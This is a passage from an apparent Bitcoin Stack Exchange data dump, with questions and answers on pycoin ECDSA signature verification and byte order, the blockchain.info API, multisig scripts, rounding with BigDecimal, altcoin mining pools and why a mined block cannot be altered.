hash.&#xA;    uint256 hash = SignatureHash(fromPubKey, txTo, nIn, nHashType);&#xA;&#xA;    if (printHash) &#xA;    {&#xA;        std::cout &amp;lt;&amp;lt; &quot;signrawtransaction hash: &quot; &amp;lt;&amp;lt; hash.ToString() &amp;lt;&amp;lt; std::endl;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next, I &lt;code&gt;decoderawtransaction&lt;/code&gt; and take the first element on the &lt;code&gt;asm&lt;/code&gt; stack, which is the signature.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;30 44 02 20 &#xA;258ad2725e66da0ae9825bb849a8e73f86e4767cf256c9fae44d18fbc1aacc2e&#xA;02 20 &#xA;406638a5b3369bb83d8a4f38a17b2f048c1495ebfd6fdff1a8c7b268e07f69cd&#xA;01&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here, with some help from Pieter Wuille (&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/12554/why-the-signature-is-always-65-13232-bytes-long&quot;&gt;Why the signature is always 65 (1+32+32) bytes long?&lt;/a&gt;), we can see the R and the S elements. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next I put them in to my pycoin test file. Pycoin is an easy to use python library for bitcoin ((&lt;a href=&quot;https://github.com/richardkiss/pycoin&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/richardkiss/pycoin&lt;/a&gt;)). &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;from pycoin.ecdsa import *&#xA;&#xA;import string&#xA;&#xA;def verify_sig(sig, prefix, xpub, signed_val):&#xA;    is_even = (prefix % 2 == 0)&#xA;    pub_pair = public_pair_for_x(generator_secp256k1, xpub, is_even)&#xA;    print(&quot;sig: (&quot; + hex(sig[0])      + &quot;, &quot; + hex(sig[1])      + &quot;)&quot;)&#xA;    print(&quot;pub: (&quot; + hex(pub_pair[0]) + &quot;, &quot; + hex(pub_pair[1]) + &quot;)&quot;)&#xA;    print(&quot;hex: &quot;  + hex(signed_val))&#xA;&#xA;    print(&quot;is valid: &quot; + str(verify(generator_secp256k1, pub_pair, signed_val, sig)))&#xA;&#xA;sigR = 0x258ad2725e66da0ae9825bb849a8e73f86e4767cf256c9fae44d18fbc1aacc2e&#xA;sigS = 0x406638a5b3369bb83d8a4f38a17b2f048c1495ebfd6fdff1a8c7b268e07f69cd&#xA;sig  = (sigR, sigS)&#xA;x    = 0xec539eb3d882c07575f6143d891c18d580cd9d2726add0d71d262f2f6f2d4ccf&#xA;hash = 0xeed300fc63a973b668af66af746fde378ec6556f4b330ec1eeccc6a77aa535b0&#xA;compressed_char = 0x03&#xA;&#xA;verify_sig(sig, compressed_char, x, hash)&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the result that is printed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;sig: (0x258ad2725e66da0ae9825bb849a8e73f86e4767cf256c9fae44d18fbc1aacc2e, 0x406638a5b3369bb83d8a4f38a17b2f048c1495ebfd6fdff1a8c7b268e07f69cd)&#xA;pub: (0xec539eb3d882c07575f6143d891c18d580cd9d2726add0d71d262f2f6f2d4ccf, 0x227874efbedb02b88568b55106634b9b4e3eca128ab46fa98abe7066aece0a51)&#xA;hex: 0xeed300fc63a973b668af66af746fde378ec6556f4b330ec1eeccc6a77aa535b0&#xA;is valid: False&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am really not sure what could be going wrong here, since this is just straight ECDSA verification. Are there any values there that seem strange, or any other reason that this would not validate?&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2014-10-30T04:29:11.857" Title="How to verify ECDSA of a sample litecoin tx using pycoin?" Tags="|ecdsa|python|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32196" PostTypeId="2" ParentId="32178" CreationDate="2014-10-29T03:08:50.280" Score="2" Body="&lt;p&gt;Bitcoin-QT can do this.  When you click the &quot;Send&quot; tab you will see a button &quot;Add Recipient&quot; at the bottom of the screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also do it using the RPC interface, with the &lt;code&gt;sendmany&lt;/code&gt; command.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-10-29T03:08:50.280" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32197" PostTypeId="2" ParentId="32093" CreationDate="2014-10-29T04:19:07.283" Score="3" Body="&lt;p&gt;A closer look at their API page, you will find LakeBTC has provided a simple code for Python: &lt;a href=&quot;https://github.com/LakeBTC/lakebtc_python&quot; rel=&quot;nofollow&quot;&gt;https://github.com/LakeBTC/lakebtc_python&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And others Sample Code you can find here: &lt;a href=&quot;https://www.lakebtc.com/s/api&quot; rel=&quot;nofollow&quot;&gt;https://www.lakebtc.com/s/api&lt;/a&gt; include PHP, Node.JS, Ruby and Python, maybe will more Code in the future :)&lt;/p&gt;&#xA;" OwnerUserId="20866" LastActivityDate="2014-10-29T04:19:07.283" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32199" PostTypeId="1" CreationDate="2014-10-29T08:24:38.750" Score="2" ViewCount="504" Body="&lt;p&gt;I want to fetch transactions for an address from the following api:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/address/&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/address/&lt;/a&gt;$btc_address?format=json&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is understanding the json returned from the api, I don't understand which of them are the transaction and the time when that transaction took place and the confirmations of a transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can any one help?&lt;/p&gt;&#xA;" OwnerUserId="20869" LastActivityDate="2014-12-28T16:52:52.497" Title="Block Chain API for BTC transactions" Tags="|transactions|blockchain|api|blockchain.info|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32200" PostTypeId="2" ParentId="32192" CreationDate="2014-10-29T08:26:11.033" Score="8" Body="&lt;p&gt;In comparison to languages like Java or C++, Python has several advantages for coding bitcoin projects:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Simplified rules of coding allows beginners and experienced alike to code and get results without getting bogged down in formatting etc&lt;/li&gt;&#xA;&lt;li&gt;Shell allows &lt;em&gt;on the fly&lt;/em&gt; calculations&lt;/li&gt;&#xA;&lt;li&gt;Python code is easily read and as such can be edited to suit&lt;/li&gt;&#xA;&lt;li&gt;Python can be compiled into an executable or run uncompiled&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I suppose in essence, Python is great for small scripts/applications and these small applications often align with difficult Bitcoin protocol mechanisms which are greatly simplified. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The caveat of course is that most Bitcoin Python utilities (Pybitcointools, Pycoin, &lt;a href=&quot;http://libbitcoin.dyne.org&quot; rel=&quot;nofollow&quot;&gt;sx/libitcoin&lt;/a&gt; require Python version 2, whereas Python 3 is the current release and, mind-bogglingly, &lt;strong&gt;3.x is not backwards compatible with Python 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to get a feel for what Python can offer check out either:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blog.richardkiss.com/?p=371&quot; rel=&quot;nofollow&quot;&gt;RICHARD KISS&lt;/a&gt; blog&lt;/li&gt;&#xA;&lt;li&gt;RICHARD KISS &lt;a href=&quot;http://youtu.be/4ufTcteXVNk&quot; rel=&quot;nofollow&quot;&gt;YouTube class&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.righto.com/2014/02/bitcoins-hard-way-using-raw-bitcoin.html&quot; rel=&quot;nofollow&quot;&gt;KEN SHERIFF&lt;/a&gt; blog&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="9382" LastEditDate="2014-10-30T00:47:03.430" LastActivityDate="2014-10-30T00:47:03.430" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32203" PostTypeId="2" ParentId="32199" CreationDate="2014-10-29T10:27:48.607" Score="1" Body="&lt;p&gt;The result returned from that API is a compound JSON object containing:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Address basic information and summary&lt;/li&gt;&#xA;&lt;li&gt;List of transactions associated with that address&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The transactions are included in a JSON-encoded list under the &lt;code&gt;txs&lt;/code&gt; key. Every transaction itself is a dictionary-like object holding pertinent information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be pretty clear when you visualize it into a tree structure. You can use &lt;strong&gt;JSONView&lt;/strong&gt; plugin &lt;a href=&quot;http://jsonview.com/&quot; rel=&quot;nofollow&quot;&gt;for Firefox&lt;/a&gt; or &lt;a href=&quot;https://chrome.google.com/webstore/detail/chklaanhfefbnpoihckbnefhakgolnmc&quot; rel=&quot;nofollow&quot;&gt;Chrome&lt;/a&gt; - it'll render all &lt;code&gt;application/json&lt;/code&gt; responses in a nice hierarchical and clickable tree and help you understand it.&lt;/p&gt;&#xA;" OwnerUserId="13530" LastActivityDate="2014-10-29T10:27:48.607" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32204" PostTypeId="1" CreationDate="2014-10-29T11:01:06.703" Score="1" ViewCount="2143" Body="&lt;p&gt;a user submits a buy request: 0.0104 BTC at a rate of 345.92 EUR&lt;/p&gt;&#xA;&#xA;&lt;p&gt;config:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var mode = RoundingMode.HALF_EVEN();&#xA;var satoshi = new BigDecimal(&quot;100000000&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;user input:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var btc_b = new BigDecimal(&quot;0.0104&quot;);&#xA;var rate_b = new BigDecimal(&quot;345.92&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;convert amount to smallest unit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var btc_s = btc_b.multiply(satoshi);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;btc * rate = spend:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var eur_s = btc_s.multiply(rate_b).setScale(0,mode);&#xA;console.log(eur_s.longValue());&#xA;&#xA;output: 359756800&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;eur / smallest unit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var eur_b = eur_s.divide(satoshi, 8, mode);&#xA;console.log(eur_b.longValue());&#xA;&#xA;output: 3.597568&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but since eur has only 2 decimals:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;console.log(eur_b.setScale(2,mode).longValue());&#xA;&#xA;output: 3.6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i assume the user must spend 3.6 EUR for 0.0104 BTC at a rate of 345.92 EUR&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here's a fiddle: jsfiddle.net/nvkja98c/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;please correct me if i'm wrong!&lt;/p&gt;&#xA;" OwnerUserId="20873" LastActivityDate="2014-10-29T13:40:10.767" Title="avoid rounding errors in javascript with bigdecimal?" Tags="|currencies|javascript|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32205" PostTypeId="2" ParentId="32204" CreationDate="2014-10-29T13:40:10.767" Score="1" Body="&lt;p&gt;This is not a rounding problem.  The 3.6 EUR is correctly rounded to two decimals from 3.597568 EUR.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Computers don't know when we want to see trailing zeros.  The problem is formatting:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;console.log(eur_b.setScale(2,mode).longValue().toFixed(2));&#xA;&#xA;output: 3.60&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(&lt;a href=&quot;http://jsfiddle.net/x90f3p5x/&quot; rel=&quot;nofollow&quot;&gt;fiddle&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="20877" LastActivityDate="2014-10-29T13:40:10.767" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32206" PostTypeId="2" ParentId="32199" CreationDate="2014-10-29T15:40:27.657" Score="0" Body="&lt;p&gt;You are probably looking for the transaction protocol specification. &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#tx&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; is the link from the bitcoin wiki. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can map JSON keys returned from blockchain.info to the transaction protocol below. For instance the description field &lt;code&gt;version&lt;/code&gt; on the wiki maps to blockchain.info's &lt;code&gt;ver&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to parse through that structure according to the protocol into native structures/objects in whatever programming language you are using. &lt;/p&gt;&#xA;" OwnerUserId="20835" LastActivityDate="2014-10-29T15:40:27.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32207" PostTypeId="1" CreationDate="2014-10-29T16:02:45.093" Score="1" ViewCount="1032" Body="&lt;p&gt;The bitmain S4 does 2TH/s out of the box with no overclocking.  For many alt SHA-256 coins, this can be 10% - 50% of the entire network hashing power, which would allow us to gain alt coins quickly, especially when the difficulty is low.  However, the S4 does not work with most mining pools except for BtcGuild and Slush's pool.  In fact, I have yet to find any Alt sha-256 pools that it works with consistently. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem seems to be in the fact that the version of cgminer the S4 uses does not support vardiff and can only mine at a diff setting of 2048.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of working alt sha-256 pools which have fixed diff ports at 2048?&lt;br&gt;&#xA;I'm especially interested in switching pools which can mine several alt coins at max hash rate for the S4 specifically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please make sure the pool is working stably with an S4 before posting.&lt;/p&gt;&#xA;" OwnerUserId="4724" LastActivityDate="2014-12-16T21:12:37.440" Title="How can I mine ALT SHA-256 coins using a Bitmain S4?" Tags="|cgminer|altcoin|hash|hashpower|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32208" PostTypeId="2" ParentId="25342" CreationDate="2014-10-29T17:01:32.710" Score="3" Body="&lt;p&gt;The Core client will only update its balance when it registers transaction outputs that it is able to fully spend. So, if you don't have all of the multisig keys in your wallet, it won't keep track of the balance. What you're looking for is support for watch-only addresses, which should be coming soon (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/4045/commits&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/pull/4045/commits&lt;/a&gt;), but is definitely not available in 0.8.6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, without writing some custom scripting, there is no way to do this with the current Core client.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2014-10-29T17:52:52.453" LastActivityDate="2014-10-29T17:52:52.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32209" PostTypeId="2" ParentId="7441" CreationDate="2014-10-29T17:35:29.357" Score="0" Body="&lt;p&gt;I'm not aware of any tool that does this specifically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One easy way to burn coins would be to send them to a junk bitcoin public address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To convince people the public address is indeed junk &#xA;Generate it with a public formula relying on crypto hash function :&#xA;truncateToCompressedPublicAdressLength( sha512( &quot;anything : for example the cause for which you are burning the coin&quot; ) )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generating the key from its compressed representation should give a 'valid' (representing a point on the elliptic curve) public address, with a probability &gt; 0.5, so you just have to twiddle a few bits if the key is not valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The address would be considered junk by design, provided you trust sha512 and bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can even let them choose freely the last few bytes of the public key (after the hash was applied), to convince them even more you can't know the associated private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blog article about people hiding data into the blogchain:&#xA;&lt;a href=&quot;http://www.righto.com/2014/02/ascii-bernanke-wikileaks-photographs.html&quot; rel=&quot;nofollow&quot;&gt;http://www.righto.com/2014/02/ascii-bernanke-wikileaks-photographs.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may find information relative to proof of burning: &lt;a href=&quot;https://en.bitcoin.it/wiki/Proof_of_burn&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Proof_of_burn&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9198" LastActivityDate="2014-10-29T17:35:29.357" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32210" PostTypeId="2" ParentId="12741" CreationDate="2014-10-29T18:12:30.087" Score="2" Body="&lt;p&gt;From the command line, you need to add commas around the parameters and format the JSON correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind createrawtransaction '[{&quot;txid&quot;:&quot;aaaa&quot;...,&quot;vout&quot;=0},{&quot;txid&quot;:&quot;bbbb&quot;...,&quot;vout&quot;=1}]' '{&quot;1mainaddr&quot;...=0.02}'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5181" LastEditorUserId="6218" LastEditDate="2015-05-19T06:02:22.807" LastActivityDate="2015-05-19T06:02:22.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32211" PostTypeId="2" ParentId="25348" CreationDate="2014-10-29T19:10:41.020" Score="1" Body="&lt;p&gt;A) Not sure if there is a way to do this with the core client. You could do list all your transactions and search through them yourself (see &lt;code&gt;listtransactions&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;B) To get the &lt;code&gt;scriptPubKey&lt;/code&gt;, you could make a dummy transaction to your multisig address, decode it, and the &lt;code&gt;scriptPubKey&lt;/code&gt; will be in the resulting JSON. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get the &lt;code&gt;redeemScript&lt;/code&gt;, use &lt;code&gt;validateaddress&lt;/code&gt; to get the public keys (or get them any other way). Then do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./bitcoin-cli createmultisig 2 '[&quot;0233201f4bc6df77f61affdc0b9a8e13c286050b8203453af3788bb3db781d8003&quot;, &quot;020c13c8562c579fa79d78fd6dde15924b615c5c5c0904241ac311eb3954377ea0&quot;]'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will return something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;address&quot; : &quot;3N5ntrDQAv7M4xqdjnpvzWfpogHnRvtMBm4&quot;,&#xA;    &quot;redeemScript&quot; : &quot;52210233201f4bc6df77f61affdc0b9a8e13c286050b8203453af3788bb3db781d800321020c13c8562c579fa79d78fd6dde15924b615c5c5c0904241ac311eb3954377ea052ae&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2014-10-29T19:10:41.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32212" PostTypeId="1" AcceptedAnswerId="32214" CreationDate="2014-10-30T01:42:38.423" Score="5" ViewCount="420" Body="&lt;p&gt;Once a miner has found a block, how easy it is for him to add or remove a tx included in that very block? Would he have to solve the modified block from the scratch or is there a point he can resume the solving process? &lt;/p&gt;&#xA;" OwnerUserId="14319" LastEditorUserId="5406" LastEditDate="2016-03-10T09:35:56.663" LastActivityDate="2019-05-04T21:08:14.490" Title="How hard is it to alter a block after it was found?" Tags="|merkle-tree|block-header|mining-technical-details|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32213" PostTypeId="1" AcceptedAnswerId="32216" CreationDate="2014-10-30T02:10:53.160" Score="2" ViewCount="211" Body="&lt;p&gt;if you follow &lt;a href=&quot;https://blockchain.info/address/1C4kYhyLftmkn48YarSoLupxHfYFo8kp64?format=json&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; link, you will see a specific bitcoin address. If you look closely at the &lt;code&gt;prev_out&lt;/code&gt; field, it is &lt;em&gt;not&lt;/em&gt; an outpoint structure. Inside of the &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#tx&quot; rel=&quot;nofollow&quot;&gt;protocol specification under transactions&lt;/a&gt;, you can find the outpoint structure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The outpoint structure is: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Field Size Description  Data type   Comments&#xA;32  hash    char[32]    The hash of the referenced transaction.&#xA;4   index   uint32_t    The index of the specific output in the transaction. The first output is 0, etc.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where as &lt;code&gt;prev_out&lt;/code&gt; in the above query is structure as: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;prev_out:{&quot;spent&quot;:true,&quot;tx_index&quot;:50341289,&quot;type&quot;:0,&quot;addr&quot;:&quot;15e2tHrbiUd4RxnBmHKYorMysyKtk1ohXF&quot;,&quot;value&quot;:2000000,&quot;n&quot;:0,&quot;script&quot;:&quot;76a91432e17777e35dedafd578ffd90fa21ea8835dd50e88ac&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why is this different? What am I misunderstanding? Is blockchain.info not following the Bitcoin protocol for transactions on their json messages? &lt;/p&gt;&#xA;" OwnerUserId="20835" LastActivityDate="2014-10-30T03:15:24.730" Title="Difference between Outpoint structure returned from Blockchain.info and what is in the Protocol Specification" Tags="|transactions|development|blockchain.info|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32214" PostTypeId="2" ParentId="32212" CreationDate="2014-10-30T02:12:12.097" Score="7" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Once a miner has found a block, how easy it is for him to add or remove a tx included in that very block? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It is impossible. The solved block depends on every byte of transaction data, nothing can be changed. It is important that it be this way. What if I could broadcast a solved block but leave out the transaction where I sent coins to someone else, essentially reverting my spend? That would make for an insecure system. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Would he have to solve the modified block from the scratch or is there a point he can resume the solving process?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It is basically like starting over. This is mainly because of the merkle root in the block header. Think of it like a function that depends on every single byte of the transactions, and if any of the transactions change then the function output changes completely. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See this for more info on merkle trees in bitcoin: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10479/what-is-the-merkle-root&quot;&gt;What is the Merkle root?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;EDIT: I wanted to add this mining analogy that I find useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each hash that the miner computes has a chance to solve a block. Mining is basically like taking a video of yourself flipping 256 coins, trying to get a long string of heads. How long the string of heads needs to be is determined by how many other coin flippers you are competing with. If you get a long enough string of heads, you show the proof (video) and get the reward. Otherwise, you just try again. You essentially start over each time you do a new hash (so billions of times), and changing your block data doesn't make you any more or less unlikely to flip the coins successfully. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice how it takes a lot of work to flip the heads successfully (it would take you many tries, where each try is really easy), but very little work to verify that a video of coin flips is legitimate.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2015-03-24T05:04:35.073" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32215" PostTypeId="2" ParentId="32212" CreationDate="2014-10-30T03:14:12.883" Score="4" Body="&lt;p&gt;From the &lt;a href=&quot;https://bitcoin.org/bitcoin.pdf&quot; rel=&quot;nofollow&quot;&gt;original Bitcoin paper&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;... we implement the proof-of-work by incrementing a nonce in the block until a value is found that gives the block's hash the required zero bits. Once the CPU effort has been expended to make it satisfy the proof-of-work, the block &lt;strong&gt;cannot be changed without redoing the work&lt;/strong&gt;. As later blocks are chained after it, the work to change the block would include redoing all the blocks after it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-03-24T11:42:47.503" LastActivityDate="2015-03-24T11:42:47.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32216" PostTypeId="2" ParentId="32213" CreationDate="2014-10-30T03:15:24.730" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Why is this different?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Blockchain.info has an API that provides the same data, but not necessarily formatted in the exact same way. When bitcoin nodes talk to each other, they must use the protocol as specified in the link you gave, but the Blockchain.info API is just a utility for getting some data about the contents of the block chain. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is blockchain.info not following the Bitcoin protocol for transactions on their json messages?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In their API, technically, no. I'm sure they have more than a few nodes running, though, which do follow the bitcoin protocol. Their API can call upon these nodes and a few database to return the JSON with the requested info. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2014-10-30T03:15:24.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32217" PostTypeId="2" ParentId="32194" CreationDate="2014-10-30T04:29:11.857" Score="0" Body="&lt;p&gt;Found the problem! Bitcoin is very inconsistent about big/little endian integers. I reversed the hash and the signature was verified!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Final program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;from pycoin.ecdsa import *&#xA;&#xA;import string&#xA;import array&#xA;import binascii&#xA;&#xA;def verify_sig(sig, prefix, xpub, signed_val):&#xA;    is_even = (prefix % 2 == 0)&#xA;    pub_pair = public_pair_for_x(generator_secp256k1, xpub, is_even)&#xA;    print(&quot;sig: (&quot; + hex(sig[0])      + &quot;, &quot; + hex(sig[1])      + &quot;)&quot;)&#xA;    print(&quot;pub: (&quot; + hex(pub_pair[0]) + &quot;, &quot; + hex(pub_pair[1]) + &quot;)&quot;)&#xA;    print(&quot;hex: &quot;  + hex(signed_val))&#xA;&#xA;    print(&quot;is valid: &quot; + str(verify(generator_secp256k1, pub_pair, signed_val, sig)))&#xA;&#xA;sigR = 0x258ad2725e66da0ae9825bb849a8e73f86e4767cf256c9fae44d18fbc1aacc2e&#xA;sigS = 0x406638a5b3369bb83d8a4f38a17b2f048c1495ebfd6fdff1a8c7b268e07f69cd&#xA;sig  = (sigR, sigS)&#xA;&#xA;x    = 0xec539eb3d882c07575f6143d891c18d580cd9d2726add0d71d262f2f6f2d4ccf&#xA;char = 0x03&#xA;&#xA;revhash = &quot;eed300fc63a973b668af66af746fde378ec6556f4b330ec1eeccc6a77aa535b0&quot;&#xA;hash = &quot;&quot;&#xA;for i in range(0, len(revhash), 2):&#xA;    hash = revhash[i:i+2] + hash&#xA;&#xA;verify_sig(sig, char, x, int(hash, 16))&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;sig: (0x258ad2725e66da0ae9825bb849a8e73f86e4767cf256c9fae44d18fbc1aacc2e, 0x406638a5b3369bb83d8a4f38a17b2f048c1495ebfd6fdff1a8c7b268e07f69cd)&#xA;pub: (0xec539eb3d882c07575f6143d891c18d580cd9d2726add0d71d262f2f6f2d4ccf, 0x227874efbedb02b88568b55106634b9b4e3eca128ab46fa98abe7066aece0a51)&#xA;hex: 0xb035a57aa7c6cceec10e334b6f55c68e37de6f74af66af68b673a963fc00d3ee&#xA;is valid: True&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2014-10-30T04:29:11.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
